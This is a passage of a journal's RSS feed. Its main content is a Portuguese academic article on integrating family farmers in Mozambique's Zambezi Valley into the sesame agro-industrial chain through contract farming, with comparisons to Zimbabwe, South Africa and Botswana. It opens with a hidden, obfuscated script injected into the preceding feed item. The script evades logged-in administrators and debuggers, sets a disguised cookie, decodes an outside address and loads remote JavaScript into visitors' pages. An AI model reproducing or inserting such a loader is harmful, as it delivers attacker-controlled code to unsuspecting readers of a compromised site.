<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>AGROINDUSTRIALIZAÇÃO NA REGIÃO DE ZAMBEZE – INTEGRAÇÃO DA AGRICULTURA FAMILIAR NA CADEIA AGROINDUSTRIAL DO GERGELIM: UM ESTUDO DE CASO NOS DISTRITOS DE MARÍNGUE (PROVÍNCIA DE SOFALA), GURO (PROVÍNCIA DE MANICA) E MOPEIA (PROVÍNCIA DA ZAMBÉZIA) – MOÇAMBIQUE</title>
		<link>https://revistaft.com.br/agro-industrializacao-na-regiao-de-zambeze-integracao-da-agricultura-familiar-na-cadeia-agroindustrial-do-gergelim-um-estudo-de-caso-nos-distritos-de-maringueprovincia-de-sofala-catandica/</link>
		
		<dc:creator><![CDATA[Revistaft DT]]></dc:creator>
		<pubDate>Tue, 17 Feb 2026 16:30:39 +0000</pubDate>
				<category><![CDATA[Ciências Agrárias]]></category>
		<category><![CDATA[Ciências Humanas]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=265698</guid>

					<description><![CDATA[Agroindustrialization In The Zambeze Region – Integration Of Family Farming Into The Sesame Agro-Industrial Value Chain: A Case Study Of The Districts Of Maríngue (Sofala Province), Guro (Manica Province), And Mopeia (Zambézia Province) – Mozambique REGISTRO DOI: 10.69849/revistaft/dt10202602171053 Nelson Maculino Simone1 RESUMO O presente estudo analisou a integração da agricultura familiar na cadeia agroindustrial do [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Agroindustrialization In The Zambeze Region – <em>Integration Of Family Farming Into The Sesame Agro-Industrial Value Chain: A Case Study Of The Districts Of Maríngue (Sofala Province), Guro (Manica Province), And Mopeia (Zambézia Province) – Mozambique</em></p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/dt10202602171053</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Nelson Maculino Simone<sup>1</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">O presente estudo analisou a integração da agricultura familiar na cadeia agroindustrial do gergelim, com foco na região do Vale do Zambeze, concretamente nos distritos de Maríngue (Sofala), Mopeia (Zambézia) e Guro (Manica). O objectivo principal foi compreender como mecanismos de integração, como contratos agroindustriais e parcerias estruturadas, podem aumentar a produtividade, melhorar a estabilidade de renda dos agricultores familiares e gerar benefícios simultâneos para as empresas processadoras de gergelim.</p>



<p class="wp-block-paragraph">A pesquisa adoptou uma abordagem mista, qualitativa e quantitativa, com carácter comparativo, trazendo experiências de Zimbabwe, África do Sul e Botswana. A colecta de dados envolveu 135 agricultores familiares, 15 compradores locais e 3 supervisores distritais de agricultura, utilizando entrevistas semiestruturadas, questionários e análise documental. A triangulação desses métodos permitiu capturar informações detalhadas sobre produção, acesso a mercados, uso de tecnologia, grau de integração e relações contratuais.</p>



<p class="wp-block-paragraph">Os resultados indicam que a ausência de contratos formais e o limitado acesso a crédito e tecnologias reduzem a productividade e geram instabilidade de renda. A implementação de contratos agroindustriais desloca a produção de Q₀ para Q₁, conforme ilustrado nos modelos de Solow e de Oferta/Procura, promovendo ganhos de productividade, padronização da matéria-prima e redução de riscos para empresas processadoras. A análise comparativa regional evidencia que experiências bem-sucedidas em Zimbabwe, África do Sul e Botswana fornecem insumos estratégicos para políticas públicas e programas de fomento em Moçambique.</p>



<p class="wp-block-paragraph">Este estudo contribui para a academia, oferecendo evidências empíricas sobre integração da agricultura familiar, cadeias agroindustriais e contratos agrícolas. Além disso, apresenta contribuições práticas e políticas relevantes para tomadores de decisão, empresas e governos, ao demonstrar como a formalização das relações entre agricultores e agroindústrias podem fortalecer a competitividade da cadeia do gergelim, aumentar a renda familiar e promover desenvolvimento econômico regional.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> <em>Agricultura familiar, integração agroindustrial, contratos agrícolas, gergelim, Moçambique, comparação regional.</em></p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">This study analyzed the integration of family farming into the sesame agro-industrial value chain, focusing on the Zambeze Valley region, including the districts of Maríngue (Sofala), Mopeia (Zambézia), and Guro<strong> </strong>(Manica). The main objective was to understand how integration mechanisms, such as agro-industrial contracts and structured partnerships, can increase productivity, improve income stability for family farmers, and generate simultaneous benefits for sesame processing companies.</p>



<p class="wp-block-paragraph">The research adopted a mixed-methods approach, combining qualitative and quantitative techniques, with a comparative perspective including experiences from Zimbabwe, South Africa, and Botswana. Data collection involved 135 family farmers, 15 local buyers, and 3 district agriculture supervisors, using semi-structured interviews, questionnaires, and documentary analysis. The triangulation of these methods allowed for the collection of detailed information on production, market access, technology use, degree of integration, and contractual relationships.</p>



<p class="wp-block-paragraph">The results indicate that the absence of formal contracts and limited access to credit and technology reduce productivity and generate income instability. The implementation of agro-industrial contracts shifts production from Q₀ to Q₁, as illustrated by the Solow and Supply/Demand models, promoting productivity gains, standardization of raw materials, and risk reduction for processing companies. The regional comparative analysis highlights that successful experiences in Zimbabwe, South Africa, and Botswana provide strategic inputs for public policies and development programs in Mozambique.</p>



<p class="wp-block-paragraph">This study contributes to academia by providing empirical evidence on family farming integration, agro-industrial value chains, and agricultural contracts. Additionally, it offers practical and policy-relevant insights for decision-makers, companies, and governments, demonstrating how formalizing relationships between farmers and agro-industries can strengthen the competitiveness of the sesame value chain, increase household income, and promote regional economic development.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> family farming, agro-industrial integration, agricultural contracts, sesame, Mozambique, regional comparison.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<ol class="wp-block-list"></ol>



<p class="wp-block-paragraph">A agricultura familiar desempenha um papel central na segurança alimentar e no desenvolvimento econômico de países africanos, incluindo Moçambique. Nos distritos de Maríngue, Guro e Mopeia , na região do vale do Zambeze, a produção de gergelim é praticada por pequenos agricultores  envolvendo parcelas médias de 2,26 hectares e famílias com cinco membros . Apesar do potencial de produção, a integração desses agricultores na cadeia agroindustrial do gergelim é limitada, caracterizada pela ausência de contratos formais, acesso restrito a crédito e tecnologias, e forte dependência de intermediários locais. O estudo visa analisar  a integração da agricultura familiar na cadeia agroindustrial do gergelim, com foco na região do Vale do Zambeze (distritos de Maríngue, Mopeia e Guro), e realizar uma comparação com experiências de Zimbabwe, África do Sul e Botswana. Busca-se compreender como mecanismos de integração, como contratos e parcerias agroindustriais, podem aumentar a productividade, melhorar a estabilidade de renda dos agricultores e beneficiar as empresas processadoras. O objecto de estudo são os agricultores familiares que produzem gergelim, os compradores locais e os supervisores distritais de agricultura. O tema foi escolhido devido à relevância socio-econômica do gergelim como cultura de exportação e ao desafio da baixa integração da agricultura familiar na cadeia agroindustrial. Estudos anteriores, como os de Mosca (2014, p. 72), Scoones et al. (2010, p. 64) e Dorward et al. (2009, p. 134), já abordam integração agrícola na África Austral, mas poucos focam especificamente na realidade moçambicana e na agroindustrialização do gergelim, evidenciando a necessidade deste trabalho. A questão central que orienta esta investigação é:</p>



<p class="wp-block-paragraph"><strong>“Como podem os agricultores familiares da região do Zambeze&nbsp; ser integrados de forma sustentável na cadeia agroindustrial do gergelim, garantindo aumento de produtividade, melhoria de renda e estabilidade de mercado, considerando a ausência de contratos formais e o limitado acesso a crédito e tecnologias?”</strong></p>



<p class="wp-block-paragraph">A hipótese do estudo sustenta que a implementação de contratos agroindustriais e mecanismos formais de integração aumenta a productividade dos agricultores familiares, gera estabilidade de renda e simultaneamente beneficia as empresas processadoras, deslocando a produção do nível Q₀ para Q₁, conforme ilustrado nos modelos de Solow . O estudo adopta uma abordagem mista (quantitativa e qualitativa) e comparativa, combinando entrevistas semiestruturadas com 135 agricultores familiares, 15 compradores locais e 3 supervisores distritais de agricultura, além da análise documental de políticas públicas e relatórios institucionais. Essa abordagem permite triangular evidências empíricas, capturando tanto dados quantitativos sobre produção e renda quanto percepções sobre contratos, integração e desafios institucionais.</p>



<p class="wp-block-paragraph">Os resultados obtidos indicam que a integração formal por meio de contratos aumenta significativamente a productividade, melhora a qualidade da matéria-prima, reduz riscos e cria benefícios mútuos para agricultores e empresas. A comparação regional evidencia que experiências bem-sucedidas em Zimbabwe, África do Sul e Botswana podem fornecer insumos estratégicos para políticas públicas e programas de fomento em Moçambique. Este estudo contribui para a literatura científica sobre integração da agricultura familiar, cadeias agroindustriais e contratos agrícolas, oferecendo <em>insights </em>práticos para formuladores de políticas, empresas processadoras e agricultores familiares<strong>.</strong> Além disso, fornece uma base empírica sólida para futuras pesquisas sobre a sustentabilidade e competitividade da agroindustrialização do gergelim na região do Vale do Zambeze<strong>.</strong></p>



<p class="wp-block-paragraph"><strong>2. Referencial&nbsp; Teórico</strong></p>



<ol start="2" class="wp-block-list"></ol>



<p class="wp-block-paragraph"><strong>2.1</strong> <strong>Base Conceptual e Empírica do Estudo</strong></p>



<p class="wp-block-paragraph">A presente investigação fundamenta-se numa base conceptual que articula contribuições da economia agrária, do desenvolvimento rural e da economia institucional, com especial enfoque na agricultura familiar e nos mecanismos de integração agroindustrial em contextos africanos. Em Moçambique, a agricultura familiar constitui o eixo central da produção agrícola, sendo responsável pela maior parte da produção de culturas alimentares e de rendimento, incluindo o gergelim, apesar de operar predominantemente em pequenas explorações com baixos níveis de capitalização (Mosca, 2014, p. 67).</p>



<p class="wp-block-paragraph">Segundo Mosca (2014, p. 72), a agricultura familiar moçambicana caracteriza-se por uma forte dependência do trabalho familiar, limitada inserção em mercados formais e fraca articulação com a indústria de transformação, o que compromete a sua capacidade de gerar excedentes sustentáveis. Castel-Branco (2017, p. 41) acrescenta que a ausência de ligações estruturadas entre productores familiares e a agroindústria resulta numa economia agrária fragmentada, marcada por volatilidade de preços, incerteza de mercado e fraca acumulação productiva.</p>



<p class="wp-block-paragraph">Neste contexto, o conceito de integração agroindustrial assume centralidade analítica. Para Kydd e Dorward (2004, p. 98), a integração agroindustrial refere-se ao conjunto de mecanismos institucionais que coordenam a produção agrícola, o fornecimento de insumos, a comercialização e o processamento, reduzindo custos de transação e riscos de mercado. Em África, esta integração tem sido operacionalizada sobretudo por meio de cadeias de valor organizadas e agricultura por contrato (contract farming), particularmente em culturas comerciais como algodão, tabaco, açúcar e oleaginosas, incluindo o gergelim (Poulton, Dorward &amp; Kydd, 2010, p. 134).</p>



<p class="wp-block-paragraph">Em Moçambique, experiências de integração agroindustrial permanecem limitadas e desiguais. Mosca e Selemane (2012, p. 55) observam que os esquemas contratuais existentes tendem a concentrar-se em grandes empresas e culturas tradicionais, deixando a maioria dos agricultores familiares fora de arranjos formais de fornecimento à indústria. Esta situação resulta num sistema em que os productores vendem a intermediários locais sem contratos, assistência técnica ou garantias de preço, como se verifica no caso do gergelim na região do Vale do Zambeze.</p>



<p class="wp-block-paragraph">A economia institucional fornece um quadro teórico relevante para compreender estas limitações. North (1990, p. 27) argumenta que instituições fracas aumentam os custos de transação e desencorajam investimentos productivos de longo prazo. Aplicado ao contexto rural africano, Scoones et al. (2010, p. 18) demonstram que a ausência de contratos formais e de mecanismos de coordenação reduz os incentivos à adoção de tecnologia e à intensificação productiva por parte dos agricultores familiares.</p>



<p class="wp-block-paragraph">Experiências regionais indicam, contudo, que a integração agroindustrial pode gerar ganhos significativos quando adequadamente institucionalizada. No Zimbabwe, esquemas de agricultura por contrato no sector de oleaginosas e tabaco permitiram melhorar o acesso dos agricultores familiares a crédito, insumos e mercados, resultando em aumentos sustentados de produtividade (Scoones et al., 2010, p. 64). Na África do Sul, programas de integração entre pequenos productores e agroindústrias têm sido associados à melhoria da qualidade da produção e à redução da instabilidade de oferta para as empresas processadoras (Cousins, 2015, p. 89). Em Botsuana, modelos cooperativos ligados à agroindústria contribuíram para a inclusão progressiva de agricultores familiares em cadeias de valor regionais (Seleka, 2006, p. 112).</p>



<p class="wp-block-paragraph">Com base nestas abordagens, o estudo adopta um enquadramento analítico que combina modelos de crescimento e de mercado. O modelo de Solow adaptado ao contexto agrícola é utilizado para ilustrar como a integração agroindustrial, via contratos, acesso a crédito e transferência tecnológica, desloca positivamente a função de produção dos agricultores familiares, permitindo a passagem de um nível de produção inicial (Q₀) para um patamar superior (Q₁) (Barro &amp; Sala-i-Martin, 2004, p. 56). Este ganho productivo é conceptualizado como resultado directo do fortalecimento institucional e do investimento induzido pela integração.</p>



<p class="wp-block-paragraph">Paralelamente, o modelo microeconómico de oferta e procura, reinterpretado do ponto de vista da empresa agroindustrial, demonstra que a integração com agricultores familiares reduz custos médios de aquisição de matéria-prima, deslocando a curva de oferta para a direita e ampliando o excedente do produtor industrial (Poulton et al., 2010, p. 141). Assim, a integração agroindustrial gera benefícios mútuos, promovendo simultaneamente a inclusão productiva dos agricultores e a competitividade das empresas processadoras.</p>



<p class="wp-block-paragraph">Empiricamente, esta base conceptual é sustentada por dados primários recolhidos junto de agricultores familiares, compradores locais e instituições públicas nos distritos de Maríngue, Mopeia e Guro complementados por evidência secundária de países da África Austral. Esta combinação permite analisar, de forma comparada, os constrangimentos e oportunidades da integração agroindustrial do gergelim, situando o caso moçambicano num quadro regional mais amplo.</p>



<p class="wp-block-paragraph"><strong>2.2</strong> <strong>Integração Agroindustrial: Abordagens Teóricas</strong></p>



<ol start="2" class="wp-block-list"></ol>



<p class="wp-block-paragraph">A integração agroindustrial constitui um elemento central para a transformação da agricultura familiar em economias predominantemente rurais, como as da África Austral. No caso específico do gergelim — uma cultura de exportação, intensiva em mão-de -obra e amplamente produzida por pequenos agricultores — a integração com a agroindústria assume particular relevância para a geração de rendimento, estabilidade de mercado e desenvolvimento rural inclusivo. Diversas abordagens teóricas têm sido utilizadas para compreender os mecanismos dessa integração, destacando-se as cadeias de valor,<strong> </strong>o<em>contract farming</em>, aintegração verticale aeconomia institucional<strong>.</strong></p>



<p class="wp-block-paragraph"><strong>2.2.1 Cadeias de Valor na Produção e Processamento do Gergelim</strong></p>



<p class="wp-block-paragraph">A abordagem das cadeias de valor permite analisar o gergelim como um producto inserido em um sistema articulado de actividades que compreende a produção agrícola, a comercialização local, o processamento industrial e o acesso aos mercados nacionais e internacionais. Porter (1985, p. 36) define a cadeia de valor como o conjunto de actividades que adicionam valor a um producto ao longo do seu percurso productivo.</p>



<p class="wp-block-paragraph">No contexto africano, Kaplinsky e Morris (2001, p. 4) argumentam que a inclusão de pequenos agricultores em cadeias de valor estruturadas é condição essencial para que estes capturem maior valor econômico. No sector do gergelim, estudos em Moçambique e no Zimbabwe demonstram que a fragmentação da cadeia — caracterizada por vendas ocasionais a intermediários e ausência de coordenação com a indústria — limita os ganhos dos agricultores familiares e reduz a eficiência do abastecimento industrial (Tschirley et al., 2010, p. 27).</p>



<p class="wp-block-paragraph">Em regiões como o Vale do Zambeze, a produção de gergelim ocorre maioritariamente em pequenas parcelas, enquanto o processamento e a exportação concentram-se em centros urbanos, como a Beira. A fraca articulação entre esses elos resulta em perdas de valor, instabilidade de oferta e baixa competitividade da cadeia como um todo (Mosca, 2014, p. 112).</p>



<p class="wp-block-paragraph"><strong>2.2.2 </strong><strong>Contract Farming e o Gergelim como Cultura de Integração</strong></p>



<p class="wp-block-paragraph">O <em>contract farming</em> constitui uma das principais estratégias de integração da agricultura familiar à agroindústria, especialmente em cadeias de <em>commodities</em> agrícolas como o gergelim. Eaton e Shepherd (2001, p. 2) definem a agricultura por contracto como um acordo formal ou informal entre productores e empresas, que estabelece condições de produção, fornecimento e comercialização.</p>



<p class="wp-block-paragraph">Na África Austral, <em>o contract farming</em> tem sido amplamente utilizado em culturas como algodão, tabaco e oleaginosas. No Zimbabwe, Rukuni et al. (1998, p. 154) demonstram que contratos agrícolas permitiram integrar pequenos productores às cadeias de exportação, assegurando acesso a insumos, crédito e mercados garantidos. Na África do Sul, Kirsten e Sartorius (2002, p. 506) destacam que contractos reduziram riscos de mercado tanto para agricultores quanto para agroindústrias.</p>



<p class="wp-block-paragraph">No caso do gergelim em Moçambique, a ausência de contratos formais faz com que os agricultores familiares produzam sem garantias de compra, enquanto as agroindústrias dependem de intermediários para assegurar matéria-prima. Essa situação gera instabilidade, limita investimentos productivos e reduz a qualidade e regularidade do fornecimento (Cunguara &amp; Garrett, 2011, p. 18).</p>



<p class="wp-block-paragraph">Apesar das vantagens, a literatura alerta para riscos associados a contratos assimétricos. Glover (1987, p. 452) aponta que, sem regulação adequada, os agricultores podem assumir riscos excessivos. Contudo, experiências africanas indicam que contratos bem estruturados e acompanhados por políticas públicas constituem um instrumento eficaz de integração agroindustrial sustentável.</p>



<p class="wp-block-paragraph"><strong>2.2.3 </strong><strong>Integração Vertical e Coordenação da Cadeia do Gergelim</strong></p>



<p class="wp-block-paragraph">A integração vertical refere-se à coordenação de diferentes etapas da cadeia productiva sob um mesmo sistema de governança. Williamson (1985, p. 85) argumenta que a integração vertical emerge como resposta à incerteza e aos elevados custos de transação.</p>



<p class="wp-block-paragraph">Na agricultura familiar, a integração vertical raramente ocorre por meio do controle directo da produção pela indústria. Em vez disso, predomina a integração vertical indireta, baseada em contratos, parcerias e esquemas de fornecimento coordenado. Mighell e Jones (1963, p. 6) afirmam que esse modelo permite combinar a eficiência organizacional da agroindústria com a flexibilidade produtiva da agricultura familiar.</p>



<p class="wp-block-paragraph">No sector do gergelim, a integração vertical indirecta permite às empresas processadoras garantir padrões de qualidade e volumes mínimos, enquanto os agricultores mantêm a posse da terra e a autonomia productiva. Experiências na África do Sul mostram que esse modelo reduz custos logísticos e melhora a rastreabilidade dos produtos agrícolas (Aliber &amp; Hall, 2012, p. 548).</p>



<p class="wp-block-paragraph"><strong>2.2.4 Economia Institucional e os Desafios da Integração Agroindustrial</strong></p>



<p class="wp-block-paragraph">A economia institucional fornece um arcabouço fundamental para compreender os obstáculos e oportunidades da integração agroindustrial da agricultura familiar. North (1990, p. 3) define instituições como as regras formais e informais que estruturam as interações econômicas.</p>



<p class="wp-block-paragraph">Em Moçambique, a fragilidade institucional — caracterizada pela informalidade dos mercados, ausência de contratos agrícolas e limitado acesso ao crédito — constitui um dos principais entraves à integração da agricultura familiar na agroindústria do gergelim (Mosca, 2017, p. 89). Dorward et al. (2005, p. 80) argumentam que, sem instituições eficazes, os custos de transação permanecem elevados, desincentivando investimentos de longo prazo.</p>



<p class="wp-block-paragraph">Estudos regionais indicam que países que fortaleceram instituições de mercado, como cooperativas, sistemas de contratos e políticas de fomento, conseguiram integrar com maior sucesso os agricultores familiares às cadeias agroindustriais, como observado no Zimbabwe e em Botswana (Seleka, 2005, p. 42).</p>



<p class="wp-block-paragraph"><strong>Síntese Analítica</strong></p>



<p class="wp-block-paragraph">As abordagens das cadeias de valor, do<em> contract farming</em><strong><em>,</em></strong> da integração vertical e da economia institucional convergem ao demonstrar que a integração da agricultura familiar na cadeia agroindustrial do gergelim depende de coordenação, previsibilidade e instituições sólidas. No contexto do Vale do Zambeze, a ausência desses elementos explica a fraca articulação entre productores e agroindústrias, ao passo que as experiências da África Austral evidenciam o potencial dos contratos agrícolas como mecanismo de transformação productiva e inclusão econômica.</p>



<p class="wp-block-paragraph"><strong>2.3 Evolução Histórica da Agricultura Familiar</strong></p>



<ol start="3" class="wp-block-list"></ol>



<p class="wp-block-paragraph">A agricultura familiar constitui o eixo estruturante da produção agrícola<strong> </strong>na maioria dos países da África Austral, desempenhando um papel central na segurança alimentar, na geração de renda rural e na oferta de matérias-primas para a agroindústria. No entanto, a sua capacidade de integração em cadeias agroindustriais formais tem sido historicamente condicionada por factores estruturais, políticos e institucionais. A análise comparativa das trajetórias de Moçambique, Zimbabwe, África do Sul e Botswana revela padrões convergentes e divergentes que ajudam a compreender os limites e as potencialidades da integração sustentável dos pequenos agricultores em sistemas agroindustriais modernos.</p>



<p class="wp-block-paragraph"><strong>2.3.1&nbsp; Agricultura Familiar em Moçambique: Evolução Histórica e Fraca Integração Industrial</strong></p>



<p class="wp-block-paragraph">Em Moçambique, a agricultura familiar representa mais de 90% das unidades productivas e constitui a principal fonte de subsistência da população rural (Mosca, 2014, p. 12). Durante o período colonial, a estrutura agrária foi organizada para servir os interesses da metrópole portuguesa, privilegiando grandes plantações voltadas para exportação, enquanto os camponeses africanos foram relegados a sistemas de produção de subsistência, com acesso limitado à terra fértil, crédito e mercados formais (Langa, 2012, p. 7). Nesse contexto, a ligação entre agricultura familiar e indústria era praticamente inexistente, pois a agroindústria colonial abastecia-se predominantemente de grandes explorações.</p>



<p class="wp-block-paragraph">Após a independência em 1975, o Estado moçambicano adoptou uma orientação socialista, promovendo empresas agrícolas estatais e cooperativas como pilares do desenvolvimento rural. Embora a agricultura familiar continuasse numericamente dominante, foi frequentemente marginalizada em termos de investimento público, assistência técnica e acesso a mercados organizados (Mosca, 2014, p. 15). A guerra civil (1976–1992) agravou ainda mais esse quadro, destruindo infraestruturas, interrompendo cadeias de valor e inviabilizando qualquer tentativa consistente de integração agroindustrial.</p>



<p class="wp-block-paragraph">No período pós-Acordo Geral de Paz (1992), Moçambique transitou para uma economia de mercado e passou a reconhecer formalmente a agricultura como base do desenvolvimento nacional. Contudo, apesar de programas de cadeias de valor e iniciativas pontuais de ligação ao mercado, a agricultura familiar continua amplamente desconectada da agroindústria, em especial devido à ausência de contratos formais, ao fraco acesso a crédito e à limitada transferência de tecnologia (Marassiro et al., 2021, p. 3). Esse padrão explica por que, em distritos como Maríngue, Mopiea e Guro os agricultores produzem para compradores informais, sem garantias de mercado, preços estáveis ou inserção em sistemas industriais estruturados.</p>



<p class="wp-block-paragraph"><strong>2.3.2 Agricultura Familiar em Zimbabwe: Da Exclusão Colonial ao </strong><strong><em>Contract Farming</em></strong></p>



<p class="wp-block-paragraph">No Zimbabwe, a herança colonial também produziu uma estrutura agrária altamente desigual, marcada pela concentração de terras férteis nas mãos de colonos brancos e pela marginalização dos agricultores africanos. A legislação fundiária colonial, como o <em>Land Apportionment Act</em> de 1930, confinou os pequenos agricultores a áreas de baixo potencial productivo, afastando-os das cadeias agroindustriais dominadas por grandes fazendas comerciais (Rukuni et al., 1998, p. 21).</p>



<p class="wp-block-paragraph">Com a independência em 1980, o governo adoptou políticas de “<em>growth with equity</em>”, que incluíram subsídios, extensão rural e infraestruturas de comercialização voltadas para pequenos agricultores. Esse período foi marcado por uma expansão significativa da produção familiar, sobretudo em culturas como milho e algodão, que passaram a alimentar mercados formais e indústrias de transformação (Rukuni et al., 1998, p. 34). Diferentemente de Moçambique, o Zimbabwe desenvolveu mecanismos institucionais mais robustos de ligação entre pequenos produtores e mercados estruturados.</p>



<p class="wp-block-paragraph">Após as reformas fundiárias do início dos anos 2000, que redistribuíram terras para milhares de famílias, emergiram esquemas de <em>contract farming</em> e programas estatais como o <em>Command Agriculture</em>, que fornecem insumos, crédito e assistência técnica em troca de compromissos de entrega de produção (Munyoro, 2018, p. 6). Embora esses esquemas enfrentem desafios de governança e sustentabilidade financeira, representam um modelo concreto de integração agroindustrial baseado em contratos, que contrasta fortemente com a realidade moçambicana.</p>



<p class="wp-block-paragraph"><strong>2.3.3 Agricultura Familiar na África do Sul: Dualismo Agrário e Integração Contratual</strong></p>



<p class="wp-block-paragraph">A África do Sul apresenta um sistema agrário profundamente dual, herdado do <em>apartheid.</em> Enquanto um sector comercial altamente capitalizado abastece grandes agroindústrias e exportações, milhões de agricultores familiares negros operam em pequena escala, historicamente excluídos de mercados formais (Aliber, 2013, p. 4). Leis como o <em>Native Land Act</em> de 1913 restringiram severamente o acesso à terra para a população negra, limitando a sua capacidade de integração produtiva e industrial.</p>



<p class="wp-block-paragraph">No período pós-apartheid, o Estado sul-africano implementou programas de reforma agrária e políticas de apoio aos pequenos agricultores, visando promover inclusão económica e correção de injustiças históricas. No entanto, a fraca implementação, a limitada assistência técnica e a dificuldade de acesso a crédito impediram que muitos agricultores familiares se integrassem plenamente nas cadeias agroindustriais (Aliber, 2013, p. 9).</p>



<p class="wp-block-paragraph">Apesar disso, a África do Sul desenvolveu modelos mais avançados de integração contratual do que Moçambique, incluindo parcerias público-privadas, cooperativas de productores e contratos de fornecimento para cadeias agroalimentares modernas (FAO, 2015, p. 27). Esses arranjos permitem maior previsibilidade de fornecimento para a indústria e maior estabilidade de renda para os agricultores, embora beneficiem apenas uma fração dos pequenos produtores.</p>



<p class="wp-block-paragraph"><strong>2.3.4 Agricultura Familiar em Botswana: Cooperativismo e Integração de Mercado</strong></p>



<p class="wp-block-paragraph">Em Botswana, a agricultura familiar desempenha um papel relevante na economia rural, embora o país seja menos agrícola do que seus vizinhos. Desde a independência em 1966, o Estado adoptou políticas relativamente estáveis de apoio à produção rural, com ênfase em cooperativas, esquemas de compra garantida e programas de extensão agrícola (Seleka, 2005, p. 41).</p>



<p class="wp-block-paragraph">Ao contrário de Moçambique, Botswana desenvolveu mecanismos institucionais que permitem aos pequenos agricultores fornecer productos para mercados organizados e, em alguns casos, para indústrias locais de processamento. Programas estatais de comercialização agrícola e estruturas cooperativas têm funcionado como pontes entre a produção familiar e o sector agroindustrial, reduzindo riscos de mercado e promovendo maior previsibilidade de renda (Seleka, 2005, p. 44).</p>



<p class="wp-block-paragraph"><strong>2.4 Modelos Regionais de Integração Agroindustrial</strong></p>



<p class="wp-block-paragraph">A integração agroindustrial da agricultura familiar na África Austral tem assumido diferentes formas institucionais, moldadas pelos contextos históricos, políticos e económicos de cada país. Entre os principais modelos observados na região destacam-se os contratos agrícolas, as cooperativas de productores, os programas públicos de compra e as parcerias agroindustriais, que funcionam como mecanismos de coordenação entre pequenos produtores e mercados agroindustriais.</p>



<p class="wp-block-paragraph"><strong>2.4.1 Contratos Agrícolas</strong></p>



<p class="wp-block-paragraph">Os contratos agrícolas constituem um dos instrumentos mais difundidos de integração agroindustrial na África Austral, particularmente em culturas comerciais como algodão, tabaco, açúcar e oleaginosas. De acordo com Poulton et al. (2010, p. 136), os contratos agrícolas permitem alinhar incentivos entre productores e empresas processadoras, garantindo fornecimento regular de matéria-prima e reduzindo a incerteza de mercado.</p>



<p class="wp-block-paragraph">No Zimbabwe, os contratos agrícolas tornaram-se um pilar central da reorganização do sector agrícola após as reformas agrárias dos anos 2000. Scoones et al. (2010, p. 63) demonstram que os esquemas de contract farming no tabaco e em oleaginosas possibilitaram o acesso dos agricultores familiares a crédito, insumos e assistência técnica, resultando em ganhos significativos de produtividade e rendimento. Estes contratos funcionam, na prática, como substitutos de mercados financeiros e de serviços inexistentes no meio rural.</p>



<p class="wp-block-paragraph">Em Moçambique, embora existam experiências de contratos agrícolas, estas permanecem limitadas e concentradas em poucas cadeias de valor. Mosca e Selemane (2012, p. 56) observam que a maioria dos agricultores familiares, incluindo os productores de gergelim, opera fora de arranjos contratuais formais, vendendo a intermediários em condições desfavoráveis. Esta ausência de contratos reduz a previsibilidade da produção e dificulta a integração sustentável com a agroindústria.</p>



<p class="wp-block-paragraph"><strong>2.4.2 Cooperativas de Productores</strong></p>



<p class="wp-block-paragraph">As cooperativas agrícolas constituem outro modelo relevante de integração agroindustrial, funcionando como mecanismos de agregação da produção e de fortalecimento do poder de negociação dos agricultores familiares. Segundo Birchall (2004, p. 19), as cooperativas reduzem custos de transação e facilitam a ligação entre pequenos produtores e mercados industriais.</p>



<p class="wp-block-paragraph">Na África do Sul, cooperativas e associações de pequenos produtores têm desempenhado um papel importante na integração com agroindústrias, sobretudo nos sectores hortícola e de grãos. Cousins (2015, p. 91) destaca que estas estruturas permitem melhorar a qualidade do producto, padronizar volumes e facilitar contratos colectivos com empresas processadoras.</p>



<p class="wp-block-paragraph">Em Botswana, Seleka (2006, p. 113) evidencia que cooperativas agrícolas apoiadas pelo Estado contribuíram para a inserção gradual de agricultores familiares em cadeias agroindustriais, embora com desafios relacionados à governação interna e sustentabilidade financeira. Em Moçambique, no entanto, as cooperativas permanecem frágeis e frequentemente dependentes de apoio externo, limitando o seu papel como instrumentos eficazes de integração agroindustrial (Mosca, 2014, p. 89).</p>



<p class="wp-block-paragraph"><strong>2.4.3 Programas Públicos de Compra</strong></p>



